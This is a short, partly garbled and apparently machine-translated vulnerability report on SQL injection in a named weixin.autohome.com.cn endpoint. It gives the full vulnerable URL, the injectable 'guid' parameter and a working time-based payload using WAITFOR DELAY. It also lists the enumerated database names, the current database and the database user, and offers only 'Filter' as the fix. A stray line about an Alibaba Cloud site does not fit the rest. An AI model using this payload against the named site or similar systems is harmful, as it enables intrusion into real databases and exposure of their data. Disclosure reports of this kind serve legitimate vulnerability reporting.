A station in autohome.com has SQL injection to be filtered out.

A station in autohome.com has SQL injection to be filtered out.

An Alibaba Cloud station has SQL Injection

I wanted to come up with a verification script. I 'd like to give the result of the time relationship.


 

weixin.autohome.com.cn/WeiXinGame/ShowResult?username=test&guid=60dcaec0-86ac-466f-bfc2-3538738047eb

 

Injection parameter # guid

 

Payload: username=test&guid=60dcaec0-86ac-466f-bfc2-3538738047eb';WAITFOR DELAY '0:0:5'--

 

 

available databases [15]:[*] [AutoMaintain\x05][*] [MONITOR\x05][*] Aladdin[*] AutoTerminology[*] AutoWeiXin[*] CarDiscount[*] DBMONITOR[*] master[*] model[*] msdb[*] Reproduction[*] tempdb[*] VS_MONITOR[*] WeiBo[*] WeiXIn

 

Current Database: 'autoweixin'

 

Database User: 'autoweixinwrite'

 

Solution:

Filter